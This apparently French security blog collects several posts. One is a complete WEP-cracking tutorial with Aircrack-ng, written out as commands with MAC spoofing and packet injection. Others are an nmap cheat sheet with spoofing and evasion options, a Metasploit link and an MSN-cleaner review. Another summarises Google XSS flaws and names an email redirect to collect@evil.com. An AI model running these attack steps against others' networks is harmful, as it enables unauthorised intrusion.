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Aircrack-NG avec une carte Wireless Intel 3945 ABG

SckyzO | 15 mai 2008 | 19:26

Ce petit ‘tuto’ est plus un pense bête qu’un article, mais il est possible qu’il aide quelques personnes dans leur démarche de sécurisation de réseau Wifi (ou pas ?!)

Depuis quelques semaines j’ai un nouveau portable pour le taf, un Dell latitude D520, intégrant un chipset Intel, et ayant une carte wifi

    $ lspci
    c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

Il se trouve que sur d’autres distributions, les drivers intégrés au kernel étaient compatibles, mais sur la petite distribution Ubuntu 8.04, les drivers ne sont plus compatible pour accepter le “mode monitor”.

Avant de commencer tout cela, un petit rappel des faits.

AirCrack-NG

Aircrack-ng est un groupe d’outils de monitoring pour réseau sans fil dont l’utilisation principale est le « cassage » de clés WEP et WPA-PSK.

Aircrack fut développé sous licence GPL par Christophe Devine (consultant en sécurité informatique) puis repris par Thomas d’Otreppe sous le nom de Aircrack-ng.

La version 0.9, comprend entre autres les outils suivants:

  • aircrack-ng: casseur de clés WEP statiques et WPA-PSK (Nouveau type de casseur: PTW)
  • airdecap-ng: décrypteur de fichiers WEP/WPA capturés
  • aireplay-ng: programme d’injection de paquets 802.11 (disponible sous Linux et FreeBSD seulement)
  • airodump-ng: programme de capture de paquets 802.11
  • airtun-ng: programme pour la création d’une interface virtuelle

note: Ce logiciel est conçu pour tester la sécurité de son propre réseau, l’attaque d’un réseau extérieur sans l’accord de son propriétaire est passible de peines d’emprisonnement.

Pré-requis

* Vous possédez une machine linux avec Hardy Heron fraîchement installé, je n’ai ni le temps ni la volonté de tester sur un système amélioré
* Vous avez réussi à compiler / installer les précédentes versions du pilote ipwraw (ceci je l’explique par la suite)
* Vous savez comment utiliser Aircrack-ng (un minimum)
* Vous possédez une clé WEP (Weak Encryption Protocol :D)
* Vous pouvez utiliser le CLI (ahhhhhhhh, linux, votre CLI, un outil puissant et un mal de tête assuré pour les néophytes … CLI = Command Line Interface … La ligne de commande)
* Les LETTRES MAJUSCULES dans la procédure de crackage de la clé WEP sont des paramètres FICTIFS pour
- CHANNEL, le canal qui sera reniflé / injecté
- FILE, un nom de fichier
- ESSID, le nom du point d’accès tels que FREEPHONIE, LIVEBOX, …
- BSSID, le point d’accès adresse
- MACADDRESS, votre adresse mac de la carte wifi
* Vous l’utilisez sous votre propre risque
* Vous savez ce que le diable va faire

Installation

Rien de plus simple sous Ubuntu :

sudo apt-get install aircrack-ng macchanger

Configuration de la carte 3945 ABG (ipw3945 ou iwl3945)

Il se trouve donc que les drivers fournis avec la distribution ne sont pas compatible pour que aircrack-ng fonctionne correctement, et puis scanner les réseaux Wifi. Il faut donc mettre en place des “drivers alternatifs”, que nous fournis gentillement le site de aircrack-ng :D

Pré-requis

sudo apt-get install linux-headers-`uname -r` build-essential libssl-dev macchanger

Installation

  • Télécharger ipwraw-ng depuis http://homepages.tu-darmstadt.de/~p_larbig/wlan/ ou http://dl.aircrack-ng.org/drivers/ (la dernière version en date étant la version 2.3.4 mise en ligne le 11 février 2008)
  • Installer les modules et le ucode
  • Blacklister ipwraw (pour ne pas qu’il soit lancé au démarrage de la machine)
  • wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
  • tar -xjf ipwraw-ng*
  • cd ipwraw-ng
  • make
  • sudo make install
  • sudo make install_ucode
  • echo "blacklist ipwraw" | sudo tee /etc/modprobe.d/ipwraw
  • sudo depmod -ae
  • Maintenant, les drivers modifiés on été installés. Il faut donc décharger les drivers “officiels” pour charger ceux qui permettrons d’utiliser Aircrack-ng (les drivers iwpraw)

    Utiliser ipwraw

    • Décharger le module ipw3945 (ou iwl3945 sur ma machine)
    • Lancer ipwraw-ng

    Le périphérique créé sera automatiquement en mode Monitor.

    sudo modprobe -r ipw3945

    ou

    sudo modprobe -r iwl3945
    sudo modprobe ipwraw

    Le nouveau périphérique créé aura comme nom wifi0

    sckyzo@sckyzo:~$ iwconfig
    lo        no wireless extensions.
    eth0      no wireless extensions.
    wifi0     unassociated  ESSID:off/any
    Mode:Monitor  Channel=1  Bit Rate=54 Mb/s
    
    

    Voila, vous pouvez maintenant utiliser aircrack-ng pour sécuriser votre Wifi (ou pas ?!)

    Bien sur, après utilisation des drivers alternatifs avec aircrack, il vous faut recharger les modules ipw3945 ou iwl3945

    sudo modprobe -r ipwraw
    sudo modprobe iwl3945

    ou

    sudo modprobe ipw3945

    Maintenant, les drivers fonctionnent (enfin). Alors que faire maintenant ? Passons à l’action :
    Ouvrer un terminal, et copier ceci :

    #!/bin/bash
    
  • clear
  • echo "Please provide the wifi0 CHANNEL"
  • read canal
  • echo "Please provide the capture rate (best results with only 2)"
  • read rate
  • echo "Please provide the target BSSID"
  • read bssid
  • ifconfig wifi0 down
  • chmod u+wrx /sys/class/net/wifi0/device/rate
  • echo $rate >/sys/class/net/wifi0/device/rate
  • echo $canal >/sys/class/net/wifi0/device/channel
  • echo $bssid >/sys/class/net/wifi0/device/bssid
  • ifconfig wifi0 up
  • echo "Configuration completed. Ready to do packet injection"
  • Enregistrez le document tel que : wepcrackconf.sh et attribuez les droits adéquates pour qu’il puisse être exécuté.

    sudo chmod +x wepcrackconf.sh

    Crackage

    Ouvrez 4 terminaux (oui c’est beaucoup, mais il les faut)

    Premier terminal

    sudo airodump-ng wifi0

    Second terminal

    sudo su
    ./wepcrackconf.sh
    • CHANNEL, choisissez le Canal de votre choix
    • rate toujours 2
    • BSSID, donné par le terminal précédent
    exit
    sudo airodump-ng -c CHANNEL -w FILE wifi0

    Troisième terminal

    sudo macchanger -s wifi0
    sudo aireplay-ng -1 10 -e "ESSID" -a BSSID -h MAC_ADRESSE wifi0

    Quatrième terminal

    aireplay-ng -3 -b BSSID -h MAC_ADRESSE wifi0

    De retour sur le premier terminal
    Après avoir récolté assez de IV, faites Ctrl+C pour stopper l’application

    aircrack-ng FILE.cap

    IMPORTANT :
    Recueillir au moins 500000 paquets, pour casser une WEP 64-bit Hex
    Vous pouvez changer l’adresse MAC il suffit de lire les infos ou macchanger page du manuel (man macchanger)

    Si toutefois vous avez des questions, n’hésitez pas.
    Je complèterai l’article au fur et à mesure de ma pensé

    Mise à jour : Aircrack-ng Configuration et mise en route
    - Utilisation de macchanger (apt-get)
    - Lancement de Aircrack et sa suite (airodump, airemachin ….)
    - Crackage clé WEP
    - Script
    Bien évidemment, je suis resté très simpliste sur les termes et les fonctions car je pars du principe que je m’adresse à des gens connaissant le domaine. Sinon, un lien (ci dessous) renvois sur un tuto assez complexe et instructif bien qu’un peu depassé (mais tant que ça fonctionne … hein ^^)

    Liens utiles :
    http://fr.wikipedia.org/wiki/Mode_moniteur
    http://fr.wikipedia.org/wiki/Aircrack
    http://www.aircrack-ng.org
    http://www.tuto-fr.com/tutoriaux/tutorial-crack-wep-aircrack.php

    Tags:aircrack, iwl3945, Ubuntu, ipw3945, macchanger

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    Tutoriel MetaSploit 2.x par SecuObs

    SckyzO | 14 mars 2008 | 18:50

    Tout à l’heure, j’ai reçu un mail de SecuObs indiquant la mise à disposition d’un tutoriel en 7 parties sur MetaSploit.

    Pour rappel Metasploit est un projet open-source sur la sécurité informatique qui fournit des informations sur des vulnérabilités, aide à la pénétration de systèmes informatisés et au développement de signatures pour les IDS. Le plus connu des sous-projets est le Metasploit Framework, un outil pour le développement et l’exécution d’exploits contre une machine distante. Les autres sous-projets importants sont la base de données d’Opcode, l’archive de shellcode, et la recherche dans la sécurit. (Wikipédia)

    MetaSploit Tuto partie 1
    MetaSploit Tuto partie 2
    MetaSploit Tuto partie 3
    MetaSploit Tuto partie 4
    MetaSploit Tuto partie 5
    MetaSploit Tuto partie 6
    MetaSploit Tuto partie 7

    Tags:msf, metasploit, tuto metasploit, exploit

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    NMap. Scanner de Ports

    SckyzO | 12 mars 2008 | 12:20

    http://doc.fedora-fr.org/w/images/e/e2/Nmap.gifNmap est un scanner de ports open source créé par Fyodor et distribué par Insecure.org. Il est conçu pour détecter les ports ouverts, les services hébergés et les informations sur le système d’exploitation d’un ordinateur distant. Ce logiciel est devenu une référence pour les administrateurs réseaux car l’audit des résultats de Nmap fournit des indications sur la sécurité d’un réseau.

    Cet article est une amélioration de l’article relativement complet de Pti-Seb accessible ici

    ♦ Utilisation principale de nmap

    Voir tous les ports TCP ouverts sur une machine, utilisation de messages SYN, donc pas de log sur la machine cible :

    # nmap -sS 127.0.0.1

    Voir tous les ports UDP ouverts sur une machine :

    # nmap -sU 127.0.0.1

    Voir si une machine est sur le réseau (scan Ping) :

    # nmap -sP 127.0.0.1

    Scanner une plage d’adresses. Ici toutes les adresses de 192.168.0 à 192.168.255 :

    # nmap 192.168.0,.0-255

    Connaître le système d’exploitation de la machine (TCP/IP fingerprint) :

    # nmap -O 127.0.0.1

    Si nmap n’arrive pas à déterminer la version, on pourra lui demander de nous donner une liste des systèmes qui pourraient potentiellement correspondre :

    # nmap -O --osscan-guess 127.0.0.1

    Scanner un port précis. Ici, c’est le port http :

    # nmap -p 80 127.0.0.1

    Scanner une plage de ports. Ici on scan du port 0 au 80 et tous ceux supérieurs à 60000 ) :

    # nmap -p 0-80,60000 127.0.0.1

    Scanner des serveurs web au hasard sur le réseau :

    # nmap -v -sS -iR 0 -p 80

    Désactiver la résolution DNS inverse des hôtes, augmente la rapidité :

    # nmap -n 127.0.0.1

    Scan par rebond ftp, permet de demander à un serveur FTP de scanner les ports à votre place (envoie des fichiers pour tester les ports ouverts). Cette fonctionnalité est souvent désactivée des serveurs FTP afin d’éviter les abus. Ici on passe par le serveur ftp qui a pour adresse 127.0.0.1 pour scanner une plage d’adresses ip :

    # nmap -b 127.0.0.1 192.168.0,.0-255

    Usurper l’adresse ip source. Ici on scan 127.0.0.1, par l’interface réseau eth0, en se faisant passer pour 10.0.0.0 depuis le port 80 :

    # nmap -S 10.0.0.0 -g 80 -e eth0 -P0 127.0.0.1

    Usurper l’adresse MAC :

    # nmap --spoof-mac 01:02:03:04:05:06:07 127.0.0.1# nmap --spoof-mac Cisco 127.0.0.1

    Choisir un fichier de sortie pour y écrire les résultats du scan :

    # nmap -oN resultat 127.0.0.1# nmap -oX resultat.xml 127.0.0.1

    Trace les paquets et les données envoyés et reçus. Pratique pour verifier qu’une usurpation fonctionne :

    # nmap --packet-trace -S 10.0.0.0 -eth0 127.0.0.1

    ♦ Solution

    Empêcher le balayage des ports d’une machine reste assez difficile en soi. En effet, même en rajoutant des règles à iptables, les techniques de scan étant tellement diverses, cela ne sera ne fonctionnera pas à 100%, En revanche, on peut très bien utiliser des outils spécialisés dans la détection de ces derniers comme scanlogd par exemple. Pour s’en servir, nous allons devoir récupérer les sources sur le site officel et lancer les commandes suivantes :

    # cd /usr/local/src
    # tar zxvf scanlogd-*.tar.gz
    # rm -f scanlogd-*.tar.gz
    # cd scanlogd-*/
    # make linux
    # adduser scanlogd

    On pourra ensuite le lancer manuellement, via la commande scanlogd. Toutes les tentatives de scan sur la machine seront alors visibles dans le fichier “/var/log/messages”:

    # tail -100 /var/log/messages | grep scanlogd
    Dec 3 17:54:43 localhost scanlogd: 192.168.31.112 to 192.168.31.101 ports 80, 554, 256, 21, 22, 23      64 @15:24:41

    ♦ Aller plus loin

    Commande : # man nmap

    Dans la suite de l’article, je vous met d’autres options trouvées sur la toile, que l’on a pour le Scanner NMap

    Liens utiles :
    http://fr.wikipedia.org/wiki/Nmap
    http://nmap.org/
    Guide de référence Nmap en Fr
    L’art du “PortScanning”
    Testeur de vulnérabilités sur le net

    Petites Anecdotes :
    Nmap étant un logiciel de plus en plus connu, on a pu voir des exemples d’utilisation dans plusieurs films.
    Dans le second épisode de la trilogie Matrix (Matrix Reloaded), Trinity se sert de nmap pour pirater la centrale électrique.
    Le troisième opus de la saga Jason Bourne, La Vengeance dans la peau, montre la CIA utiliser nmap ainsi que son GUI Zenmap pour s’introduire dans le serveur d’un journal (The Guardian)

    • Spécifications des cibles :

    Les cibles peuvent être spécifiées par des noms d’hôtes, des adresses IP (v4 ou v6), des adresses de réseaux… Exemple: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254

      -iL <inputfilename>: Lit la liste des hôtes/réseaux cibles à partir du fichier
      -iR <num hosts>: Choisit les cibles au hasard
        --exclude <host1[,host2][,host3],...>: Exclut des hôtes/réseaux du scan
        --excludefile <exclude_file>: Exclut des hôtes/réseaux des cibles à partir du fichier
    • Découverte des hôtes :
      -sL: List Scan - Liste simplement les cibles à scanner
      -sP: Ping Scan - Ne fait que déterminer si les hôtes sont en ligne -P0: Considère que tous les hôtes sont en ligne-- évite la découverte des hôtes
      -PN: Considérer tous les hôtes comme étant connectés -- saute l'étape de découverte des hôtes
      -PS/PA/PU [portlist]: Découverte TCP SYN/ACK ou UDP des ports en paramètre
      -PE/PP/PM: Découverte de type requête ICMP echo, timestamp ou netmask
      -PO [num de protocole]: Ping IP (par type)
      -n/-R: Ne jamais résoudre les noms DNS/Toujours résoudre [résout les cibles actives par défaut]
        --dns-servers <serv1[,serv2],...>: Spécifier des serveurs DNS particuliers
        --system-dns: Utilise le resolveur DNS du système d'exploitation
    • Techniques de scan :
      -sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
      -sN/sF/sX: Scans TCP Null, FIN et Xmas
      -sU: Scan UDP (Cette option ne fonctionne pas en IPv6)
        --scanflags <flags>: Personnalise les flags des scans TCP
      -sI <zombie host[:probeport]>: Idlescan (scan passif)
      -sO: Scan des protocoles supportés par la couche IP
      -b <ftp relay host>: Scan par rebond FTP
        --traceroute: Détermine une route vers chaque hôte
        --reason: Donne la raison pour laquelle tel port apparait à tel état
    • Spécifications des ports et ordre de scan :
      -p <plage de ports>: Ne scanne que les ports spécifiés
        Exemple: -p22; -p1-65535; -pU:53,111,137,T:21-25,80,139,8080
      -F: Fast - Ne scanne que les ports listés dans le fichier nmap-services
      -r: Scan séquentiel des ports, ne mélange pas leur ordre
        --top-ports <nombre>: Scan <nombre> de ports parmi les plus courants
        --port-ratio <ratio>: Scan <ratio> pourcent des ports les plus courants
    • Détection de service/version :
      -sV: Teste les ports ouverts pour déterminer le service en écoute et sa version
        --version-light: Limite les tests aux plus probables pour une identification plus rapide
        --version-intensity <niveau>: De 0 (léger) à 9 (tout essayer)
        --version-all: Essaie un à un tous les tests possibles pour la détection des versions
        --version-trace: Affiche des informations détaillées du scan de versions (pour débogage)
    • Script scan :
      -sC: équivalent de --script=safe,intrusive
        --script=<lua scripts>: <lua scripts> est une liste de répertoires ou de scripts séparés par des virgules
        --script-args=<n1=v1,[n2=v2,...]>: passer des arguments aux scripts
        --script-trace: Montre toutes les données envoyées ou recues
        --script-updatedb: Met à jour la base de données des scripts. Seulement fait si -sC ou --script a été aussi donné.
    • Détection de système d’exploitation :
      -O: Active la détection d'OS
        --osscan-limit: Limite la détection aux cibles prométeuses
        --osscan-guess: Devine l'OS de facon plus agressive
    • Temporisation et performance :

    Les options qui prennent un argument de temps sont en milisecondes a moins que vous ne spécifiiez ’s’ (secondes), ‘m’ (minutes), ou ‘h’ (heures) à la valeur (e.g. 30m).

      -T[0-5]: Choisit une politique de temporisation (plus élevée, plus rapide)
        --min-hostgroup/max-hostgroup <msec>: Tailles des groupes d'hôtes à scanner en parallèle
        --min-parallelism/max-parallelism <msec>: Parallélisation des paquets de tests (probes)
        --min_rtt_timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Spécifie le temps d'aller-retour des paquets de tests
        --min_rtt_timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Spécifie le temps d'aller-retour des paquets detests
        --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Précise le round trip time des paquets de tests.
        --max-retries <tries>: Nombre de retransmissions des paquets de tests des scans de ports.
        --host-timeout <msec>: Délai d'expiration du scan d'un hôte
        --scan-delay/--max-scan-delay <time>: Ajuste le délais entre les paquets de tests.
    • Evasion parefeu/ids et usurpation d’identité :
      -f; --mtu <val>: Fragmente les paquets (en spécifiant éventuellement la MTU)
      -D <decoy1,decoy2[,ME],...>: Obscurci le scan avec des leurres
      -S <IP_Address>: Usurpe l'adresse source
      -e <iface>: Utilise l'interface réseau spécifiée
      -g/--source-port <portnum>: Utilise le numéro de port comme source
        --data-length <num>: Ajoute des données au hasard aux paquets émis
        --ip-options <options>: Envoi des paquets avec les options IP spécifiées.
        --ttl <val>: Spécifie le champ time-to-live IP
        --spoof-mac <adresse MAC, préfixe ou nom du fabriquant>: Usurpe une adresse MAC
        --badsum: Envoi des paquets TCP/UDP avec une somme de contrôle erronée.
    • Sortie :
      -oN/-oX/-oS/-oG <file>: Sortie dans le fichier en paramètre des résultats du scan au format normal, XML, s|<rIpt kIddi3 et Grepable, respectivement
      -oA <basename>: Sortie dans les trois formats majeurs en même temps
      -v: Rend Nmap plus verbeux (-vv pour plus d'effet)
      -d[level]: Sélectionne ou augmente le niveau de débogage (significatif jusqu'à 9)
        --packet-trace: Affiche tous les paquets émis et reçus
        --iflist: Affiche les interfaces et les routes de l'hôte (pour débogage)
        --log-errors: Journalise les erreurs/alertes dans un fichier au format normal
        --append-output: Ajoute la sortie au fichier plutôt que de l'écraser
        --resume <filename>: Reprend un scan interrompu
        --stylesheet <path/URL>: Feuille de styles XSL pour transformer la sortie XML en HTML
        --webxml: Feuille de styles de références de Insecure.Org pour un XML plus portable
        --no_stylesheet: Nmap n'associe pas la feuille de styles XSL à la sortie XML
    • Divers :
      -6: Active le scan IPv6
      -A: Active la détection du système d'exploitation et des versions
        --datadir <dirname>: Spécifie un dossier pour les fichiers de données de Nmap
        --send-eth/--send-ip: Envoie des paquets en utilisant des trames Ethernet ou des paquets IP bruts
        --privileged: Suppose que l'utilisateur est entièrement privilégié -V: Affiche le numéro de version
        --unprivileged: Suppose que l'utilisateur n'a pas les privilèges d'usage des raw socket
      -h: Affiche ce résumé de l'aide
    Tags:Linux, tuto nmap, man nmap, nmap, scanner de ports

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    MSNCleaner, débarrassez vous des Virus MSN

    SckyzO | 8 novembre 2007 | 15:47

    J’écris cet article suite à la découverte d’un petit soft fort sympathique : MSNCleaner 1.4.5 (à l’heure ou j’écris ces lignes).
    Certains vont me dire, mais que viens-tu faire dans le monde Windows ?  Voila, depuis  maintenant 1 an … J’en ai marre de tous ces gens qui ne comprennent pas qu’il ne faut pas cliquer sur le lien quand  un ami à vous vous parle subitement espagnol et vous propose de télécharger un fichier style album.zip … ou alors quand un de vos amis, fils unique, vous propose de télécharger les photos nu de sa soeur … Ya quand même un grand nombre d’imbéciles qui cliquent. Le problème, c’est que après ils se retrouvent avec un PC infecté jusqu’a la moelle, avec des backdoors ouvertes dans tous les sens, et ils ralent, pleurent et qui c’est qui font chier ?? les mecs qui sont informaticien !! Alors pour peu que (comme moi) vous soyez linuxien avec un grand coeur, je vous dis pas comme c’est chiant ! (et puis c’est là que l’on voit le nombre de personne assez stupides pour cliquer sur les liens … Si vous vous sentez viser, c’est peut être pour vous faire réfléchir !)
    Bref, vous l’aurez compris, ce logiciel est fait pour vous si vous faites partie des contaminés de MSN Messenger de Microsoft (car bien sur, il existe une multitudes de logiciels similaires, gratuit, open source et sécurisé … mais tout le monde utlisent MSN Messenger !!!)

    Voici une petite liste des saloperies que peux supprimer MSNCleaner :

    • Foto_Celular.scr
    • Foto_Celular.zip
    • Foto_Posse.zip
    • Bush.exe
    • Desnuda.exe
    • F0538_jpg.zip
    • Fotos.zip - Fotos roberto.exe
    • imag091307.zip
    • image.zip
    • imageXX.zip
    • IMG-XXXX.zip
    • img4851.zip
    • IMG-0024.zip
    • IMG0024.zip
    • MessengerSkinner
    • MSN Content Plus
    • MSN Messenger Guiños
    • My_Pictures2007
    • MyGallery5156.zip
    • N039_jpg.zip
    • Nokia_19_jpg.zip
    • p0017_jpg.zip
    • Photos-webcam2007.zip
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    • PictureAlbum2007.zip
    • portaldeayuda - portaldeayudita
    • S_00305_jpg.zip
    • W139_jpg.zip
    • Winks Instalador
    • Z058_jpg.zip

    Un petit ScreenShot pour la route :

     

    Le logiciel est disponible en

    • Espagnol
    • Portuguais
    • Francais
    • Allemand
    • Danois
    • Hollandais
    • Italien
    • Anglais

    L’application ne nécessite aucune installation et peut donc être exécutée depuis une clé USB, ce qui est utile pour dépanner le PC d’un proche. Le logiciel est d’origine espagnole mais l’interface est proposée en plusieurs langues dont le français. Le fonctionnement est très simple : un bouton lance une analyse et un deuxième bouton permet de supprimer es fichiers détectés. Il est également possible de débloquer Internet Explorer et d’autoriser divers composants comme le gestionnaire de tâches ou le panneau de configuration pendant l’analyse, ainsi que de générer un rapport.

    Donc un logiciel, Simple, Efficace, Gratuit et en Francais … Bref … le Must, et donc fini les emmerdeurs !! :D
    See yOu sOon ;-)
    Et pensez à mettre à jour vos PC, vos logiciels (msn) et si vous ne voulez plus d’emmerde de ce genre … po po po —> Linux :)

    Tags:MSN, désinfecter msn, msncleaner, Linux, MSN virus

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    Hacked By … Go_Ogle

    SckyzO | 26 septembre 2007 | 16:55

    Les utilisateurs des Gmail, Picassa, Calendar et autres services du géant de la recherche doivent se méfier…

    Quatre nouvelles techniques permettant de voler les données personnelles des utilisateurs des services de la firme de Mountain View viennent d’être découvertes.

    Lesdites méthodes reposent toutes sur l’utilisation de la faille de sécurité qui touche de nombreux sites Web : le Cross Site Scripting, ou XSS. Les garnements de la Toile peuvent utiliser le XSS pour exécuter du code malveillant en langage de script qui est ensuite utilisé par le navigateur Web lors de la visite d’une URL.

    La plus sérieuse de ces vulnérabilités se trouve dans l’application étiquetée Google, qui permet de réaliser des sondages. Cette dernière est disponible depuis le groupe de discussion Google Groups. Cette faille permettrait de dérober des contacts, des mails et des comptes Gmail. Selon un porte-parole de Google la faille a été corrigée.

    Des morceaux de codes malveillants utilisables (proof of concept) ont été publiés sur le Web. Ils permettent de montrer les faiblesses des services de Google. D’après un ingénieur à l’origine de ces publications : “Si vous êtes bon en JavaScript, écrire un code capable d’exploiter ces vulnérabilités est un vrai jeu d’enfant.”

    Quatre navigateurs sont touchés par ces vulnérabilités, IE, Firefox, Opera et Konqueror. Du moins lorsque les paramètres sont configurés par défaut et que l’utilisateur n’utilise pas d’extensions qui bloquent le JavaScript. Pour être touchée, la victime doit être identifiée sur Gmail.

    La deuxième vulnérabilité concerne l’appliance Google search. Il s’agit d’une solution que Google propose aux webmasters pour lancer des recherches internes. En créant une URL spéciale, un attaquant peut injecter du code et réécrire des pages d’un site tiers qui utilise cette appliance. Selon Google, près de 200.000 sites sont vulnérables à cette attaque.

    La troisième vulnérabilité peut être utilisée pour dérober des photos stockées via le logiciel de gestion de retouche et de partage des images Picasa. Elle permet de rediriger l’utilisateur vers un site malveillant. Il s’agit d’un exploit très complexe qui utilise différentes techniques dont du XSS. Selon un porte-parole de Google, la vulnérabilité qui touche Picasa est difficilement exploitable et il recommande aux utilisateurs du service de ne pas télécharger de nouveaux boutons pour modifier l’aspect de l’application, car ils sont utilisés par les hackers pour diffuser du code.

    La quatrième faille de sécurité a été découverte par Petko D. Petkov, un chercheur de GNU Citizen qui a publié sur son blog une note selon laquelle une porte dérobée pourrait être installée sur les comptes Gmail en obligeant des utilisateurs à visiter une URL frauduleuse.

    Ledit site contient un programme qui redirige les mails envoyés depuis Gmail vers l’adresse collect@evil.com. Petkov ne donne pas la proof of concept de l’attaque, mais l’information semble fiable. Le danger de cette méthode est que les utilisateurs ne peuvent pas repérer l’attaque facilement, ils doivent se rendre dans la section “filtre” dans les paramètres de configuration de Gmail.

    Source : Silicon.fr

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